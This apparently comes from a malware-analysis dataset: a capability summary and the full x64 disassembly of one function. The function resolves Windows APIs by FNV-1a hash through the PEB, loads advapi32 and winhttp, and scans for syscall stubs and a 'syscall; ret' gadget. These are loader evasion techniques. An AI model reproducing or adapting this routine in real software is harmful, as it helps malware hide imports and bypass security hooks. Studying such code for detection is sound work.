Function at 0x140001a10
Capabilities:
Access peb ldr_data
Encode data using xor
Get number of processors

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x14001f010]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rax, qword gs:[0x60]
mov r9, qword [rax + 0x18]
add r9, 0x20
mov r8, qword [r9]
cmp r8, r9
je 0x140001a8f
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [r8 + 0x40]
mov edx, 0x811c9dc5
movzx eax, word [rcx]
test ax, ax
je 0x140001a84
movzx eax, ax
lea rcx, [rcx + 2]
xor eax, edx
imul edx, eax, 0x1000183
movzx eax, word [rcx]
test ax, ax
jne 0x140001a61
cmp edx, 0xa09d79c7
je 0x140001e4c
mov rax, qword [r8]
mov r8, rax
cmp rax, r9
jne 0x140001a50
mov rdi, qword [rsp + 0x40]
mov rax, qword gs:[0x60]
mov qword [0x140022240], rdi
mov r9, qword [rax + 0x18]
add r9, 0x20
mov r8, qword [r9]
cmp r8, r9
je 0x140001aff
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [r8 + 0x40]
mov edx, 0x811c9dc5
movzx eax, word [rcx]
test ax, ax
je 0x140001af4
movzx eax, ax
lea rcx, [rcx + 2]
xor eax, edx
imul edx, eax, 0x1000183
movzx eax, word [rcx]
test ax, ax
jne 0x140001ad1
cmp edx, 0x4d715e9f
je 0x140001e55
mov rax, qword [r8]
mov r8, rax
cmp rax, r9
jne 0x140001ac0
mov rbx, qword [rsp + 0x40]
mov edx, 0x14c08545
mov qword [0x140022248], rbx
mov rcx, rbx
call fcn.140001230
mov edx, 0x750cfec8
mov qword [0x1400222d0], rax
mov rcx, rbx
call fcn.140001230
mov edx, 0xa0deee36
mov qword [0x1400222d8], rax
mov rcx, rbx
call fcn.140001230
mov edx, 0x4108199f
mov qword [0x1400222e0], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0x8da2116b
mov qword [0x140022288], rax
mov rcx, rdi
mov rbx, rax
call fcn.140001230
mov edx, 0x7259e584
mov qword [0x1400221c0], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0x94ff3af3
mov qword [0x1400221b8], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0x6840c6d2
mov qword [0x1400221c8], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0xd47ae9ad
mov qword [0x1400222b0], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0x851c70da
mov qword [0x1400222c8], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0x2f392376
mov qword [0x140022268], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0xe3de035
mov qword [0x1400221b0], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0x98ed2722
mov qword [0x140022298], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0xb3118435
mov qword [0x140022278], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0x2df1933e
mov qword [0x140022270], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0x6d850e52
mov qword [0x1400222a0], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0x1752d44d
mov qword [0x1400222b8], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0xcc332005
mov qword [0x1400222c0], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0x78d372c0
mov qword [0x140022290], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0xb69e4cc8
mov qword [0x1400222a8], rax
mov rcx, rdi
call fcn.140001230
lea rcx, str.advapi32.dll
mov qword [0x140022280], rax
call rbx
mov qword [0x140022250], rax
lea rcx, str.winhttp.dll
mov rax, qword [0x140022288]
call rax
mov rbx, qword [0x140022250]
mov edx, 0x3b31d79d
mov rcx, rbx
mov qword [0x140022258], rax
mov rdi, rax
call fcn.140001230
mov edx, 0x5a04e657
mov qword [0x140022230], rax
mov rcx, rbx
call fcn.140001230
mov edx, 0x30ab3fd7
mov qword [0x140022220], rax
mov rcx, rbx
call fcn.140001230
mov edx, 0x7a209987
mov qword [0x140022210], rax
mov rcx, rbx
call fcn.140001230
mov edx, 0xc2a71b40
mov qword [0x140022218], rax
mov rcx, rbx
call fcn.140001230
mov edx, 0x601faf17
mov qword [0x140022228], rax
mov rcx, rbx
call fcn.140001230
mov edx, 0x68c7976f
mov qword [0x140022200], rax
mov rcx, rbx
call fcn.140001230
mov edx, 0xb9ef8a86
mov qword [0x140022208], rax
mov rcx, rbx
call fcn.140001230
mov edx, 0xfe3bfac5
mov qword [0x140022238], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0xf3b94c1d
mov qword [0x140021188], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0x44dea762
mov qword [0x1400211b0], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0xdd4ec084
mov qword [0x140021198], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0xf1ac8b21
mov qword [0x1400211a8], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0xacfee1b9
mov qword [0x140021180], rax
mov rcx, rdi
call fcn.140001230
mov edx, 0x3ecc33d9
mov qword [0x140021190], rax
mov rcx, rdi
call fcn.140001230
mov qword [0x1400211a0], rax
xor r9d, r9d
mov rax, qword [0x1400222d8]
xor edx, edx
mov word [rsp + 0x24], 0x50f
mov byte [rsp + 0x26], 0xc3
movzx ecx, byte [rax]
cmp cl, 0xc3
je 0x140001e62
nop dword [rax + rax]
cmp edx, 5
jg 0x140001e62
cmp cl, 0x4c
jne 0x140001e3c
cmp byte [rax + 1], 0x8b
jne 0x140001e3c
cmp byte [rax + 2], 0xd1
jne 0x140001e3c
cmp byte [rax + 3], 0xb8
je 0x140001e5e
movzx ecx, byte [rax + 1]
inc rax
inc edx
cmp cl, 0xc3
jne 0x140001e20
jmp 0x140001e62
mov rdi, qword [r8 + 0x20]
jmp 0x140001a94
mov rbx, qword [r8 + 0x20]
jmp 0x140001b04
lea r9, [rax + 4]
mov rax, qword [0x1400222e0]
xor r8d, r8d
xor edx, edx
movzx ecx, byte [rax]
cmp cl, 0xc3
je 0x140001ea6
cmp edx, 5
jg 0x140001ea6
cmp cl, 0x4c
jne 0x140001e92
cmp byte [rax + 1], 0x8b
jne 0x140001e92
cmp byte [rax + 2], 0xd1
jne 0x140001e92
cmp byte [rax + 3], 0xb8
je 0x140001ea2
movzx ecx, byte [rax + 1]
inc rax
inc edx
cmp cl, 0xc3
jne 0x140001e76
jmp 0x140001ea6
lea r8, [rax + 4]
test r9, r9
je 0x1400020b3
test r8, r8
je 0x1400020b3
movzx eax, byte [r9]
xor r10d, r10d
mov r11, qword [0x140022248]
mov dword [0x1400221d0], eax
movzx eax, byte [r8]
mov dword [0x1400221d4], eax
movsxd rax, dword [r11 + 0x3c]
mov qword [rsp + 0x60], rsi
mov ebx, dword [rax + r11 + 0x50]
test ebx, ebx
je 0x140001f2c
nop dword [rax + rax]
mov r9d, r10d
lea rcx, [rsp + 0x24]
add r9, r11
mov edx, 3
mov rax, r9
cmp r9, rcx
je 0x140001f2f
lea r8, [rsp + 0x24]
sub r8, r9
movzx ecx, byte [r8 + rax]
cmp byte [rax], cl
jne 0x140001f24
inc rax
sub rdx, 1
jne 0x140001f10
jmp 0x140001f2f
inc r10d
cmp r10d, ebx
jb 0x140001ef0
xor r9d, r9d
mov eax, dword [str.FF_23]
lea r8, [rsp + 0x40]
mov rdi, qword [0x140022240]
lea rdx, [rsp + 0x28]
mov dword [rsp + 0x40], eax
xorps xmm0, xmm0
movzx eax, word [0x14001bab0]
mov word [rsp + 0x44], ax
mov qword [0x1400221d8], r9
movsxd rax, dword [rdi + 0x3c]
mov esi, dword [rax + rdi + 0x50]
xor eax, eax
mov qword [rsp + 0x38], rax
movups xmmword [rsp + 0x28], xmm0
call fcn.1400012f0
mov r11, qword [rsp + 0x30]
mov r10, qword [rsp + 0x28]
sub r11, r10
sub rsi, r11
je 0x140001fdd
mov r9, r10
mov rbx, rdi
sub r9, rdi
mov dl, 1
test r11, r11
je 0x140002066
mov rax, rbx
mov r8, r11
movzx ecx, byte [r9 + rax]
cmp cl, 0x3f
je 0x140001fb7
cmp cl, byte [rax]
je 0x140001fb7
xor cl, cl
jmp 0x140001fb9
mov cl, 1
and dl, cl
inc rax
sub r8, 1
jne 0x140001fa5
test dl, dl
jne 0x140002066
inc rbx
dec r9
mov rax, rbx
sub rax, rdi
cmp rax, rsi
jb 0x140001f94
test r10, r10
je 0x140002029
mov rdx, qword [rsp + 0x38]
mov rax, r10
sub rdx, r10
cmp rdx, 0x1000
jb 0x14000200f
mov r10, qword [r10 - 8]
add rdx, 0x27
sub rax, r10
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400020bf
mov rcx, r10
call fcn.140002a20
xorps xmm0, xmm0
mov qword [rsp + 0x38], 0
movdqu xmmword [rsp + 0x28], xmm0
xor ebx, ebx
lea rdx, [0x140001030]
mov qword [0x140022260], rbx
mov ecx, 1
call qword [0x1400222d0]
call fcn.1400020e0
mov rsi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400027b0
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
test r10, r10
je 0x14000202b
mov rdx, qword [rsp + 0x38]
mov rax, r10
sub rdx, r10
cmp rdx, 0x1000
jb 0x140002094
mov r10, qword [r10 - 8]
add rdx, 0x27
sub rax, r10
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400020bf
mov rcx, r10
call fcn.140002a20
xorps xmm0, xmm0
mov qword [rsp + 0x38], 0
movdqu xmmword [rsp + 0x28], xmm0
jmp 0x14000202b
mov dword [0x1400221e0], 1
jmp 0x14000204e
call fcn.140009100
int3